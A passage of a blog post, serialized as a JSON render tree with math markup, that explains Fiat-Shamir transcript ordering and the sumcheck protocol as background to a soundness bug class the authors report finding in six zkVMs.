state.",{"type":21,"tag":91,"props":110753,"children":110754},{},[110755],{"type":26,"value":110756},"Check constraint equations at sampled points.",{"type":21,"tag":91,"props":110758,"children":110759},{},[110760],{"type":26,"value":110761},"Check PCS/opening consistency.",{"type":21,"tag":91,"props":110763,"children":110764},{},[110765],{"type":26,"value":110766},"Accept only if all checks are jointly consistent.",{"type":21,"tag":22,"props":110768,"children":110769},{},[110770],{"type":21,"tag":3644,"props":110771,"children":110774},{"alt":110772,"src":110773},"1_prover_verifier","/posts/zkvms-unfaithful-claims/1_prover_verifier.svg",[],{"type":21,"tag":22,"props":110776,"children":110777},{},[110778],{"type":26,"value":110779},"The non-negotiable invariant is transcript ordering: if a value affects a verifier equation, it must be absorbed before sampling the challenge that gates that equation. Violating this gives the prover an attacker-controlled degree of freedom.",{"type":21,"tag":21491,"props":110781,"children":110782},{},[],{"type":21,"tag":66,"props":110784,"children":110786},{"id":110785},"the-building-blocks",[110787],{"type":26,"value":110788},"The Building Blocks",{"type":21,"tag":22,"props":110790,"children":110791},{},[110792],{"type":26,"value":110793},"Before we can understand the bugs, we need to understand the protocols they break. Each of these is a tool that zkVMs compose together.",{"type":21,"tag":114,"props":110795,"children":110797},{"id":110796},"the-fiat-shamir-transform",[110798],{"type":26,"value":110799},"The Fiat-Shamir Transform",{"type":21,"tag":22,"props":110801,"children":110802},{},[110803],{"type":26,"value":110804},"Interactive protocols (the type most commonly described in literature) require real-time communication. It involves the verifier sending random challenges, and the prover responding to them. This doesn't work for blockchains (where you have no real-time verifier) or when you want anyone to verify your proof at a later point.",{"type":21,"tag":22,"props":110806,"children":110807},{},[110808],{"type":26,"value":110809},"The solution is to replace the verifier's randomness with a hash function. The prover \"talks to themselves,\" using the hash of everything so far as the challenge. If we use a cryptographic hash function, this should mean that the challenges are completely unpredictable.",{"type":21,"tag":22,"props":110811,"children":110812},{},[110813],{"type":21,"tag":3644,"props":110814,"children":110817},{"alt":110815,"src":110816},"fiat_shamir2","/posts/zkvms-unfaithful-claims/fiat_shamir2.svg",[],{"type":21,"tag":22,"props":110819,"children":110820},{},[110821,110823,110827,110829,110834],{"type":26,"value":110822},"The hash (transcript) ",{"type":21,"tag":8055,"props":110824,"children":110825},{},[110826],{"type":26,"value":9249},{"type":26,"value":110828}," include everything that affects verification ",{"type":21,"tag":8055,"props":110830,"children":110831},{},[110832],{"type":26,"value":110833},"BEFORE",{"type":26,"value":110835}," the challenges derived from it are used.",{"type":21,"tag":22,"props":110837,"children":110838},{},[110839,110841,110867,110869,110894,110896,110921,110923,110948,110950,110975],{"type":26,"value":110840},"If some value ",{"type":21,"tag":78,"props":110842,"children":110844},{"className":110843},[6715,6716],[110845],{"type":21,"tag":153,"props":110846,"children":110848},{"className":110847},[6721],[110849],{"type":21,"tag":153,"props":110850,"children":110852},{"className":110851,"ariaHidden":3294},[6726],[110853],{"type":21,"tag":153,"props":110854,"children":110856},{"className":110855},[6731],[110857,110861],{"type":21,"tag":153,"props":110858,"children":110860},{"className":110859,"style":24275},[6736],[],{"type":21,"tag":153,"props":110862,"children":110864},{"className":110863,"style":110542},[6742,24280],[110865],{"type":26,"value":110866},"V",{"type":26,"value":110868}," affects a verification equation, but ",{"type":21,"tag":78,"props":110870,"children":110872},{"className":110871},[6715,6716],[110873],{"type":21,"tag":153,"props":110874,"children":110876},{"className":110875},[6721],[110877],{"type":21,"tag":153,"props":110878,"children":110880},{"className":110879,"ariaHidden":3294},[6726],[110881],{"type":21,"tag":153,"props":110882,"children":110884},{"className":110883},[6731],[110885,110889],{"type":21,"tag":153,"props":110886,"children":110888},{"className":110887,"style":24275},[6736],[],{"type":21,"tag":153,"props":110890,"children":110892},{"className":110891,"style":110542},[6742,24280],[110893],{"type":26,"value":110866},{"type":26,"value":110895}," isn't absorbed before the relevant challenge is squeezed, then the challenge is completely independent of ",{"type":21,"tag":78,"props":110897,"children":110899},{"className":110898},[6715,6716],[110900],{"type":21,"tag":153,"props":110901,"children":110903},{"className":110902},[6721],[110904],{"type":21,"tag":153,"props":110905,"children":110907},{"className":110906,"ariaHidden":3294},[6726],[110908],{"type":21,"tag":153,"props":110909,"children":110911},{"className":110910},[6731],[110912,110916],{"type":21,"tag":153,"props":110913,"children":110915},{"className":110914,"style":24275},[6736],[],{"type":21,"tag":153,"props":110917,"children":110919},{"className":110918,"style":110542},[6742,24280],[110920],{"type":26,"value":110866},{"type":26,"value":110922},". This means that the prover can \"see\" (compute in advance) the challenge before choosing ",{"type":21,"tag":78,"props":110924,"children":110926},{"className":110925},[6715,6716],[110927],{"type":21,"tag":153,"props":110928,"children":110930},{"className":110929},[6721],[110931],{"type":21,"tag":153,"props":110932,"children":110934},{"className":110933,"ariaHidden":3294},[6726],[110935],{"type":21,"tag":153,"props":110936,"children":110938},{"className":110937},[6731],[110939,110943],{"type":21,"tag":153,"props":110940,"children":110942},{"className":110941,"style":24275},[6736],[],{"type":21,"tag":153,"props":110944,"children":110946},{"className":110945,"style":110542},[6742,24280],[110947],{"type":26,"value":110866},{"type":26,"value":110949},", which may allow it to choose ",{"type":21,"tag":78,"props":110951,"children":110953},{"className":110952},[6715,6716],[110954],{"type":21,"tag":153,"props":110955,"children":110957},{"className":110956},[6721],[110958],{"type":21,"tag":153,"props":110959,"children":110961},{"className":110960,"ariaHidden":3294},[6726],[110962],{"type":21,"tag":153,"props":110963,"children":110965},{"className":110964},[6731],[110966,110970],{"type":21,"tag":153,"props":110967,"children":110969},{"className":110968,"style":24275},[6736],[],{"type":21,"tag":153,"props":110971,"children":110973},{"className":110972,"style":110542},[6742,24280],[110974],{"type":26,"value":110866},{"type":26,"value":110976}," exactly so that the verification passes, even though it should not.",{"type":21,"tag":22,"props":110978,"children":110979},{},[110980],{"type":26,"value":110981},"This is the bug class we found in all six systems.",{"type":21,"tag":114,"props":110983,"children":110985},{"id":110984},"the-sumcheck-protocol",[110986],{"type":26,"value":110987},"The Sumcheck Protocol",{"type":21,"tag":22,"props":110989,"children":110990},{},[110991,110993,111079],{"type":26,"value":110992},"The sumcheck protocol proves that a polynomial sums to a claimed value over the Boolean hypercube (all inputs in ",{"type":21,"tag":78,"props":110994,"children":110996},{"className":110995},[6715,6716],[110997],{"type":21,"tag":153,"props":110998,"children":111000},{"className":110999},[6721],[111001],{"type":21,"tag":153,"props":111002,"children":111004},{"className":111003,"ariaHidden":3294},[6726],[111005],{"type":21,"tag":153,"props":111006,"children":111008},{"className":111007},[6731],[111009,111013,111018,111023,111028,111032,111037],{"type":21,"tag":153,"props":111010,"children":111012},{"className":111011,"style":6841},[6736],[],{"type":21,"tag":153,"props":111014,"children":111016},{"className":111015},[24409],[111017],{"type":26,"value":78915},{"type":21,"tag":153,"props":111019,"children":111021},{"className":111020},[6742],[111022],{"type":26,"value":2996},{"type":21,"tag":153,"props":111024,"children":111026},{"className":111025},[6852],[111027],{"type":26,"value":6855},{"type":21,"tag":153,"props":111029,"children":111031},{"className":111030,"style":6859},[6820],[],{"type":21,"tag":153,"props":111033,"children":111035},{"className":111034},[6742],[111036],{"type":26,"value":3033},{"type":21,"tag":153,"props":111038,"children":111040},{"className":111039},[24431],[111041,111046],{"type":21,"tag":153,"props":111042,"children":111044},{"className":111043},[24431],[111045],{"type":26,"value":36834},{"type":21,"tag":153,"props":111047,"children":111049},{"className":111048},[6757],[111050],{"type":21,"tag":153,"props":111051,"children":111053},{"className":111052},[6762],[111054],{"type":21,"tag":153,"props":111055,"children":111057},{"className":111056},[6767],[111058],{"type":21,"tag":153,"props":111059,"children":111062},{"className":111060,"style":111061},[6772],"height:0.6644em;",[111063],{"type":21,"tag":153,"props":111064,"children":111065},{"style":6776},[111066,111070],{"type":21,"tag":153,"props":111067,"children":111069},{"className":111068,"style":6782},[6781],[],{"type":21,"tag":153,"props":111071,"children":111073},{"className":111072},[6787,6788,6789,6790],[111074],{"type":21,"tag":153,"props":111075,"children":111077},{"className":111076},[6742,24280,6790],[111078],{"type":26,"value":58695},{"type":26,"value":111080},"), i.e the claim:",{"type":21,"tag":22,"props":111082,"children":111083},{},[111084],{"type":21,"tag":78,"props":111085,"children":111087},{"className":111086},[6715,6716],[111088],{"type":21,"tag":153,"props":111089,"children":111091},{"className":111090},[6721],[111092],{"type":21,"tag":153,"props":111093,"children":111095},{"className":111094,"ariaHidden":3294},[6726],[111096,111122],{"type":21,"tag":153,"props":111097,"children":111099},{"className":111098},[6731],[111100,111104,111109,111113,111118],{"type":21,"tag":153,"props":111101,"children":111103},{"className":111102,"style":24275},[6736],[],{"type":21,"tag":153,"props":111105,"children":111107},{"className":111106,"style":95578},[6742,24280],[111108],{"type":26,"value":95581},{"type":21,"tag":153,"props":111110,"children":111112},{"className":111111,"style":6918},[6820],[],{"type":21,"tag":153,"props":111114,"children":111116},{"className":111115},[6923],[111117],{"type":26,"value":2367},{"type":21,"tag":153,"props":111119,"children":111121},{"className":111120,"style":6918},[6820],[],{"type":21,"tag":153,"props":111123,"children":111125},{"className":111124},[6731],[111126,111130,111280,111284,111427,111431,111438,111442,111586,111590,111596,111601,111658,111663,111667,111724,111729,111733,111739,111743,111748,111752,111810],{"type":21,"tag":153,"props":111127,"children":111129},{"className":111128,"style":24311},[6736],[],{"type":21,"tag":153,"props":111131,"children":111133},{"className":111132},[24316],[111134,111140],{"type":21,"tag":153,"props":111135,"children":111137},{"className":111136,"style":24323},[24316,24321,24322],[111138],{"type":26,"value":111139},"∑",{"type":21,"tag":153,"props":111141,"children":111143},{"className":111142},[6757],[111144],{"type":21,"tag":153,"props":111145,"children":111147},{"className":111146},[6762,24334],[111148,111269],{"type":21,"tag":153,"props":111149,"children":111151},{"className":111150},[6767],[111152,111264],{"type":21,"tag":153,"props":111153,"children":111155},{"className":111154,"style":24343},[6772],[111156],{"type":21,"tag":153,"props":111157,"children":111158},{"style":24347},[111159,111163],{"type":21,"tag":153,"props":111160,"children":111162},{"className":111161,"style":6782},[6781],[],{"type":21,"tag":153,"props":111164,"children":111166},{"className":111165},[6787,6788,6789,6790],[111167],{"type":21,"tag":153,"props":111168,"children":111170},{"className":111169},[6742,6790],[111171,111234,111239,111244,111249,111254,111259],{"type":21,"tag":153,"props":111172,"children":111174},{"className":111173},[6742,6790],[111175,111180],{"type":21,"tag":153,"props":111176,"children":111178},{"className":111177},[6742,24280,6790],[111179],{"type":26,"value":21972},{"type":21,"tag":153,"props":111181,"children":111183},{"className":111182},[6757],[111184],{"type":21,"tag":153,"props":111185,"children":111187},{"className":111186},[6762,24334],[111188,111222],{"type":21,"tag":153,"props":111189,"children":111191},{"className":111190},[6767],[111192,111217],{"type":21,"tag":153,"props":111193,"children":111196},{"className":111194,"style":111195},[6772],"height:0.3173em;",[111197],{"type":21,"tag":153,"props":111198,"children":111200},{"style":111199},"top:-2.357em;margin-left:0em;margin-right:0.0714em;",[111201,111206],{"type":21,"tag":153,"props":111202,"children":111205},{"className":111203,"style":111204},[6781],"height:2.5em;",[],{"type":21,"tag":153,"props":111207,"children":111211},{"className":111208},[6787,111209,111210,6790],"reset-size3","size1",[111212],{"type":21,"tag":153,"props":111213,"children":111215},{"className":111214},[6742,6790],[111216],{"type":26,"value":3033},{"type":21,"tag":153,"props":111218,"children":111220},{"className":111219},[24437],[111221],{"type":26,"value":24440},{"type":21,"tag":153,"props":111223,"children":111225},{"className":111224},[6767],[111226],{"type":21,"tag":153,"props":111227,"children":111230},{"className":111228,"style":111229},[6772],"height:0.143em;",[111231],{"type":21,"tag":153,"props":111232,"children":111233},{},[],{"type":21,"tag":153,"props":111235,"children":111237},{"className":111236},[6923,6790],[111238],{"type":26,"value":24387},{"type":21,"tag":153,"props":111240,"children":111242},{"className":111241},[24409,6790],[111243],{"type":26,"value":78915},{"type":21,"tag":153,"props":111245,"children":111247},{"className":111246},[6742,6790],[111248],{"type":26,"value":2996},{"type":21,"tag":153,"props":111250,"children":111252},{"className":111251},[6852,6790],[111253],{"type":26,"value":6855},{"type":21,"tag":153,"props":111255,"children":111257},{"className":111256},[6742,6790],[111258],{"type":26,"value":3033},{"type":21,"tag":153,"props":111260,"children":111262},{"className":111261},[24431,6790],[111263],{"type":26,"value":36834},{"type":21,"tag":153,"props":111265,"children":111267},{"className":111266},[24437],[111268],{"type":26,"value":24440},{"type":21,"tag":153,"props":111270,"children":111272},{"className":111271},[6767],[111273],{"type":21,"tag":153,"props":111274,"children":111276},{"className":111275,"style":24448},[6772],[111277],{"type":21,"tag":153,"props":111278,"children":111279},{},[],{"type":21,"tag":153,"props":111281,"children":111283},{"className":111282,"style":6859},[6820],[],{"type":21,"tag":153,"props":111285,"children":111287},{"className":111286},[24316],[111288,111293],{"type":21,"tag":153,"props":111289,"children":111291},{"className":111290,"style":24323},[24316,24321,24322],[111292],{"type":26,"value":111139},{"type":21,"tag":153,"props":111294,"children":111296},{"className":111295},[6757],[111297],{"type":21,"tag":153,"props":111298,"children":111300},{"className":111299},[6762,24334],[111301,111416],{"type":21,"tag":153,"props":111302,"children":111304},{"className":111303},[6767],[111305,111411],{"type":21,"tag":153,"props":111306,"children":111308},{"className":111307,"style":24343},[6772],[111309],{"type":21,"tag":153,"props":111310,"children":111311},{"style":24347},[111312,111316],{"type":21,"tag":153,"props":111313,"children":111315},{"className":111314,"style":6782},[6781],[],{"type":21,"tag":153,"props":111317,"children":111319},{"className":111318},[6787,6788,6789,6790],[111320],{"type":21,"tag":153,"props":111321,"children":111323},{"className":111322},[6742,6790],[111324,111381,111386,111391,111396,111401,111406],{"type":21,"tag":153,"props":111325,"children":111327},{"className":111326},[6742,6790],[111328,111333],{"type":21,"tag":153,"props":111329,"children":111331},{"className":111330},[6742,24280,6790],[111332],{"type":26,"value":21972},{"type":21,"tag":153,"props":111334,"children":111336},{"className":111335},[6757],[111337],{"type":21,"tag":153,"props":111338,"children":111340},{"className":111339},[6762,24334],[111341,111370],{"type":21,"tag":153,"props":111342,"children":111344},{"className":111343},[6767],[111345,111365],{"type":21,"tag":153,"props":111346,"children":111348},{"className":111347,"style":111195},[6772],[111349],{"type":21,"tag":153,"props":111350,"children":111351},{"style":111199},[111352,111356],{"type":21,"tag":153,"props":111353,"children":111355},{"className":111354,"style":111204},[6781],[],{"type":21,"tag":153,"props":111357,"children":111359},{"className":111358},[6787,111209,111210,6790],[111360],{"type":21,"tag":153,"props":111361,"children":111363},{"className":111362},[6742,6790],[111364],{"type":26,"value":5873},{"type":21,"tag":153,"props":111366,"children":111368},{"className":111367},[24437],[111369],{"type":26,"value":24440},{"type":21,"tag":153,"props":111371,"children":111373},{"className":111372},[6767],[111374],{"type":21,"tag":153,"props":111375,"children":111377},{"className":111376,"style":111229},[6772],[111378],{"type":21,"tag":153,"props":111379,"children":111380},{},[],{"type":21,"tag":153,"props":111382,"children":111384},{"className":111383},[6923,6790],[111385],{"type":26,"value":24387},{"type":21,"tag":153,"props":111387,"children":111389},{"className":111388},[24409,6790],[111390],{"type":26,"value":78915},{"type":21,"tag":153,"props":111392,"children":111394},{"className":111393},[6742,6790],[111395],{"type":26,"value":2996},{"type":21,"tag":153,"props":111397,"children":111399},{"className":111398},[6852,6790],[111400],{"type":26,"value":6855},{"type":21,"tag":153,"props":111402,"children":111404},{"className":111403},[6742,6790],[111405],{"type":26,"value":3033},{"type":21,"tag":153,"props":111407,"children":111409},{"className":111408},[24431,6790],[111410],{"type":26,"value":36834},{"type":21,"tag":153,"props":111412,"children":111414},{"className":111413},[24437],[111415],{"type":26,"value":24440},{"type":21,"tag":153,"props":111417,"children":111419},{"className":111418},[6767],[111420],{"type":21,"tag":153,"props":111421,"children":111423},{"className":111422,"style":24448},[6772],[111424],{"type":21,"tag":153,"props":111425,"children":111426},{},[],{"type":21,"tag":153,"props":111428,"children":111430},{"className":111429,"style":6859},[6820],[],{"type":21,"tag":153,"props":111432,"children":111435},{"className":111433},[111434],"minner",[111436],{"type":26,"value":111437},"⋯",{"type":21,"tag":153,"props":111439,"children":111441},{"className":111440,"style":6859},[6820],[],{"type":21,"tag":153,"props":111443,"children":111445},{"className":111444},[24316],[111446,111451],{"type":21,"tag":153,"props":111447,"children":111449},{"className":111448,"style":24323},[24316,24321,24322],[111450],{"type":26,"value":111139},{"type":21,"tag":153,"props":111452,"children":111454},{"className":111453},[6757],[111455],{"type":21,"tag":153,"props":111456,"children":111458},{"className":111457},[6762,24334],[111459,111575],{"type":21,"tag":153,"props":111460,"children":111462},{"className":111461},[6767],[111463,111570],{"type":21,"tag":153,"props":111464,"children":111466},{"className":111465,"style":24343},[6772],[111467],{"type":21,"tag":153,"props":111468,"children":111469},{"style":24347},[111470,111474],{"type":21,"tag":153,"props":111471,"children":111473},{"className":111472,"style":6782},[6781],[],{"type":21,"tag":153,"props":111475,"children":111477},{"className":111476},[6787,6788,6789,6790],[111478],{"type":21,"tag":153,"props":111479,"children":111481},{"className":111480},[6742,6790],[111482,111540,111545,111550,111555,111560,111565],{"type":21,"tag":153,"props":111483,"children":111485},{"className":111484},[6742,6790],[111486,111491],{"type":21,"tag":153,"props":111487,"children":111489},{"className":111488},[6742,24280,6790],[111490],{"type":26,"value":21972},{"type":21,"tag":153,"props":111492,"children":111494},{"className":111493},[6757],[111495],{"type":21,"tag":153,"props":111496,"children":111498},{"className":111497},[6762,24334],[111499,111529],{"type":21,"tag":153,"props":111500,"children":111502},{"className":111501},[6767],[111503,111524],{"type":21,"tag":153,"props":111504,"children":111507},{"className":111505,"style":111506},[6772],"height:0.1645em;",[111508],{"type":21,"tag":153,"props":111509,"children":111510},{"style":111199},[111511,111515],{"type":21,"tag":153,"props":111512,"children":111514},{"className":111513,"style":111204},[6781],[],{"type":21,"tag":153,"props":111516,"children":111518},{"className":111517},[6787,111209,111210,6790],[111519],{"type":21,"tag":153,"props":111520,"children":111522},{"className":111521},[6742,24280,6790],[111523],{"type":26,"value":58695},{"type":21,"tag":153,"props":111525,"children":111527},{"className":111526},[24437],[111528],{"type":26,"value":24440},{"type":21,"tag":153,"props":111530,"children":111532},{"className":111531},[6767],[111533],{"type":21,"tag":153,"props":111534,"children":111536},{"className":111535,"style":111229},[6772],[111537],{"type":21,"tag":153,"props":111538,"children":111539},{},[],{"type":21,"tag":153,"props":111541,"children":111543},{"className":111542},[6923,6790],[111544],{"type":26,"value":24387},{"type":21,"tag":153,"props":111546,"children":111548},{"className":111547},[24409,6790],[111549],{"type":26,"value":78915},{"type":21,"tag":153,"props":111551,"children":111553},{"className":111552},[6742,6790],[111554],{"type":26,"value":2996},{"type":21,"tag":153,"props":111556,"children":111558},{"className":111557},[6852,6790],[111559],{"type":26,"value":6855},{"type":21,"tag":153,"props":111561,"children":111563},{"className":111562},[6742,6790],[111564],{"type":26,"value":3033},{"type":21,"tag":153,"props":111566,"children":111568},{"className":111567},[24431,6790],[111569],{"type":26,"value":36834},{"type":21,"tag":153,"props":111571,"children":111573},{"className":111572},[24437],[111574],{"type":26,"value":24440},{"type":21,"tag":153,"props":111576,"children":111578},{"className":111577},[6767],[111579],{"type":21,"tag":153,"props":111580,"children":111582},{"className":111581,"style":24448},[6772],[111583],{"type":21,"tag":153,"props":111584,"children":111585},{},[],{"type":21,"tag":153,"props":111587,"children":111589},{"className":111588,"style":6859},[6820],[],{"type":21,"tag":153,"props":111591,"children":111593},{"className":111592,"style":95830},[6742,24280],[111594],{"type":26,"value":111595},"g",{"type":21,"tag":153,"props":111597,"children":111599},{"className":111598},[24409],[111600],{"type":26,"value":189},{"type":21,"tag":153,"props":111602,"children":111604},{"className":111603},[6742],[111605,111610],{"type":21,"tag":153,"props":111606,"children":111608},{"className":111607},[6742,24280],[111609],{"type":26,"value":21972},{"type":21,"tag":153,"props":111611,"children":111613},{"className":111612},[6757],[111614],{"type":21,"tag":153,"props":111615,"children":111617},{"className":111616},[6762,24334],[111618,111647],{"type":21,"tag":153,"props":111619,"children":111621},{"className":111620},[6767],[111622,111642],{"type":21,"tag":153,"props":111623,"children":111625},{"className":111624,"style":95396},[6772],[111626],{"type":21,"tag":153,"props":111627,"children":111628},{"style":95400},[111629,111633],{"type":21,"tag":153,"props":111630,"children":111632},{"className":111631,"style":6782},[6781],[],{"type":21,"tag":153,"props":111634,"children":111636},{"className":111635},[6787,6788,6789,6790],[111637],{"type":21,"tag":153,"props":111638,"children":111640},{"className":111639},[6742,6790],[111641],{"type":26,"value":3033},{"type":21,"tag":153,"props":111643,"children":111645},{"className":111644},[24437],[111646],{"type":26,"value":24440},{"type":21,"tag":153,"props":111648,"children":111650},{"className":111649},[6767],[111651],{"type":21,"tag":153,"props":111652,"children":111654},{"className":111653,"style":95427},[6772],[111655],{"type":21,"tag":153,"props":111656,"children":111657},{},[],{"type":21,"tag":153,"props":111659,"children":111661},{"className":111660},[6852],[111662],{"type":26,"value":6855},{"type":21,"tag":153,"props":111664,"children":111666},{"className":111665,"style":6859},[6820],[],{"type":21,"tag":153,"props":111668,"children":111670},{"className":111669},[6742],[111671,111676],{"type":21,"tag":153,"props":111672,"children":111674},{"className":111673},[6742,24280],[111675],{"type":26,"value":21972},{"type":21,"tag":153,"props":111677,"children":111679},{"className":111678},[6757],[111680],{"type":21,"tag":153,"props":111681,"children":111683},{"className":111682},[6762,24334],[111684,111713],{"type":21,"tag":153,"props":111685,"children":111687},{"className":111686},[6767],[111688,111708],{"type":21,"tag":153,"props":111689,"children":111691},{"className":111690,"style":95396},[6772],[111692],{"type":21,"tag":153,"props":111693,"children":111694},{"style":95400},[111695,111699],{"type":21,"tag":153,"props":111696,"children":111698},{"className":111697,"style":6782},[6781],[],{"type":21,"tag":153,"props":111700,"children":111702},{"className":111701},[6787,6788,6789,6790],[111703],{"type":21,"tag":153,"props":111704,"children":111706},{"className":111705},[6742,6790],[111707],{"type":26,"value":5873},{"type":21,"tag":153,"props":111709,"children":111711},{"className":111710},[24437],[111712],{"type":26,"value":24440},{"type":21,"tag":153,"props":111714,"children":111716},{"className":111715},[6767],[111717],{"type":21,"tag":153,"props":111718,"children":111720},{"className":111719,"style":95427},[6772],[111721],{"type":21,"tag":153,"props":111722,"children":111723},{},[],{"type":21,"tag":153,"props":111725,"children":111727},{"className":111726},[6852],[111728],{"type":26,"value":6855},{"type":21,"tag":153,"props":111730,"children":111732},{"className":111731,"style":6859},[6820],[],{"type":21,"tag":153,"props":111734,"children":111736},{"className":111735},[111434],[111737],{"type":26,"value":111738},"…",{"type":21,"tag":153,"props":111740,"children":111742},{"className":111741,"style":6859},[6820],[],{"type":21,"tag":153,"props":111744,"children":111746},{"className":111745},[6852],[111747],{"type":26,"value":6855},{"type":21,"tag":153,"props":111749,"children":111751},{"className":111750,"style":6859},[6820],[],{"type":21,"tag":153,"props":111753,"children":111755},{"className":111754},[6742],[111756,111761],{"type":21,"tag":153,"props":111757,"children":111759},{"className":111758},[6742,24280],[111760],{"type":26,"value":21972},{"type":21,"tag":153,"props":111762,"children":111764},{"className":111763},[6757],[111765],{"type":21,"tag":153,"props":111766,"children":111768},{"className":111767},[6762,24334],[111769,111799],{"type":21,"tag":153,"props":111770,"children":111772},{"className":111771},[6767],[111773,111794],{"type":21,"tag":153,"props":111774,"children":111777},{"className":111775,"style":111776},[6772],"height:0.1514em;",[111778],{"type":21,"tag":153,"props":111779,"children":111780},{"style":95400},[111781,111785],{"type":21,"tag":153,"props":111782,"children":111784},{"className":111783,"style":6782},[6781],[],{"type":21,"tag":153,"props":111786,"children":111788},{"className":111787},[6787,6788,6789,6790],[111789],{"type":21,"tag":153,"props":111790,"children":111792},{"className":111791},[6742,24280,6790],[111793],{"type":26,"value":58695},{"type":21,"tag":153,"props":111795,"children":111797},{"className":111796},[24437],[111798],{"type":26,"value":24440},{"type":21,"tag":153,"props":111800,"children":111802},{"className":111801},[6767],[111803],{"type":21,"tag":153,"props":111804,"children":111806},{"className":111805,"style":95427},[6772],[111807],{"type":21,"tag":153,"props":111808,"children":111809},{},[],{"type":21,"tag":153,"props":111811,"children":111813},{"className":111812},[24431],[111814],{"type":26,"value":2071},{"type":21,"tag":22,"props":111816,"children":111817},{},[111818,111820,111881],{"type":26,"value":111819},"The naive approach would be for the verifier to compute all ",{"type":21,"tag":78,"props":111821,"children":111823},{"className":111822},[6715,6716],[111824],{"type":21,"tag":153,"props":111825,"children":111827},{"className":111826},[6721],[111828],{"type":21,"tag":153,"props":111829,"children":111831},{"className":111830,"ariaHidden":3294},[6726],[111832],{"type":21,"tag":153,"props":111833,"children":111835},{"className":111834},[6731],[111836,111840],{"type":21,"tag":153,"props":111837,"children":111839},{"className":111838,"style":111061},[6736],[],{"type":21,"tag":153,"props":111841,"children":111843},{"className":111842},[6742],[111844,111849],{"type":21,"tag":153,"props":111845,"children":111847},{"className":111846},[6742],[111848],{"type":26,"value":5873},{"type":21,"tag":153,"props":111850,"children":111852},{"className":111851},[6757],[111853],{"type":21,"tag":153,"props":111854,"children":111856},{"className":111855},[6762],[111857],{"type":21,"tag":153,"props":111858,"children":111860},{"className":111859},[6767],[111861],{"type":21,"tag":153,"props":111862,"children":111864},{"className":111863,"style":111061},[6772],[111865],{"type":21,"tag":153,"props":111866,"children":111867},{"style":6776},[111868,111872],{"type":21,"tag":153,"props":111869,"children":111871},{"className":111870,"style":6782},[6781],[],{"type":21,"tag":153,"props":111873,"children":111875},{"className":111874},[6787,6788,6789,6790],[111876],{"type":21,"tag":153,"props":111877,"children":111879},{"className":111878},[6742,24280,6790],[111880],{"type":26,"value":58695},{"type":26,"value":111882}," evaluations. This is exponentially expensive.",{"type":21,"tag":22,"props":111884,"children":111885},{},[111886,111888,111893],{"type":26,"value":111887},"The sumcheck protocol is a clever interactive protocol that reduces the exponential number of polynomial evaluations to checking ",{"type":21,"tag":8055,"props":111889,"children":111890},{},[111891],{"type":26,"value":111892},"only one",{"type":26,"value":355},{"type":21,"tag":22,"props":111895,"children":111896},{},[111897],{"type":21,"tag":3644,"props":111898,"children":111901},{"alt":111899,"src":111900},"sumcheck_v2","/posts/zkvms-unfaithful-claims/sumcheck_v2.svg",[],{"type":21,"tag":22,"props":111903,"children":111904},{},[111905,111907,111999,112001,112186,112188,112213,112215,112293,112295,112374],{"type":26,"value":111906},"In each round, the prover must send a polynomial ",{"type":21,"tag":78,"props":111908,"children":111910},{"className":111909},[6715,6716],[111911],{"type":21,"tag":153,"props":111912,"children":111914},{"className":111913},[6721],[111915],{"type":21,"tag":153,"props":111916,"children":111918},{"className":111917,"ariaHidden":3294},[6726],[111919],{"type":21,"tag":153,"props":111920,"children":111922},{"className":111921},[6731],[111923,111927,111984,111989,111994],{"type":21,"tag":153,"props":111924,"children":111926},{"className":111925,"style":6841},[6736],[],{"type":21,"tag":153,"props":111928,"children":111930},{"className":111929},[6742],[111931,111936],{"type":21,"tag":153,"props":111932,"children":111934},{"className":111933,"style":95830},[6742,24280],[111935],{"type":26,"value":111595},{"type":21,"tag":153,"props":111937,"children":111939},{"className":111938},[6757],[111940],{"type":21,"tag":153,"props":111941,"children":111943},{"className":111942},[6762,24334],[111944,111973],{"type":21,"tag":153,"props":111945,"children":111947},{"className":111946},[6767],[111948,111968],{"type":21,"tag":153,"props":111949,"children":111951},{"className":111950,"style":95873},[6772],[111952],{"type":21,"tag":153,"props":111953,"children":111954},{"style":95877},[111955,111959],{"type":21,"tag":153,"props":111956,"children":111958},{"className":111957,"style":6782},[6781],[],{"type":21,"tag":153,"props":111960,"children":111962},{"className":111961},[6787,6788,6789,6790],[111963],{"type":21,"tag":153,"props":111964,"children":111966},{"className":111965},[6742,24280,6790],[111967],{"type":26,"value":6471},{"type":21,"tag":153,"props":111969,"children":111971},{"className":111970},[24437],[111972],{"type":26,"value":24440},{"type":21,"tag":153,"props":111974,"children":111976},{"className":111975},[6767],[111977],{"type":21,"tag":153,"props":111978,"children":111980},{"className":111979,"style":95427},[6772],[111981],{"type":21,"tag":153,"props":111982,"children":111983},{},[],{"type":21,"tag":153,"props":111985,"children":111987},{"className":111986},[24409],[111988],{"type":26,"value":189},{"type":21,"tag":153,"props":111990,"children":111992},{"className":111991,"style":97364},[6742,24280],[111993],{"type":26,"value":8862},{"type":21,"tag":153,"props":111995,"children":111997},{"className":111996},[24431],[111998],{"type":26,"value":2071},{"type":26,"value":112000}," such that ",{"type":21,"tag":78,"props":112002,"children":112004},{"className":112003},[6715,6716],[112005],{"type":21,"tag":153,"props":112006,"children":112008},{"className":112007},[6721],[112009],{"type":21,"tag":153,"props":112010,"children":112012},{"className":112011,"ariaHidden":3294},[6726],[112013,112106],{"type":21,"tag":153,"props":112014,"children":112016},{"className":112015},[6731],[112017,112021,112078,112083,112088,112093,112097,112102],{"type":21,"tag":153,"props":112018,"children":112020},{"className":112019,"style":6841},[6736],[],{"type":21,"tag":153,"props":112022,"children":112024},{"className":112023},[6742],[112025,112030],{"type":21,"tag":153,"props":112026,"children":112028},{"className":112027,"style":95830},[6742,24280],[112029],{"type":26,"value":111595},{"type":21,"tag":153,"props":112031,"children":112033},{"className":112032},[6757],[112034],{"type":21,"tag":153,"props":112035,"children":112037},{"className":112036},[6762,24334],[112038,112067],{"type":21,"tag":153,"props":112039,"children":112041},{"className":112040},[6767],[112042,112062],{"type":21,"tag":153,"props":112043,"children":112045},{"className":112044,"style":95873},[6772],[112046],{"type":21,"tag":153,"props":112047,"children":112048},{"style":95877},[112049,112053],{"type":21,"tag":153,"props":112050,"children":112052},{"className":112051,"style":6782},[6781],[],{"type":21,"tag":153,"props":112054,"children":112056},{"className":112055},[6787,6788,6789,6790],[112057],{"type":21,"tag":153,"props":112058,"children":112060},{"className":112059},[6742,24280,6790],[112061],{"type":26,"value":6471},{"type":21,"tag":153,"props":112063,"children":112065},{"className":112064},[24437],[112066],{"type":26,"value":24440},{"type":21,"tag":153,"props":112068,"children":112070},{"className":112069},[6767],[112071],{"type":21,"tag":153,"props":112072,"c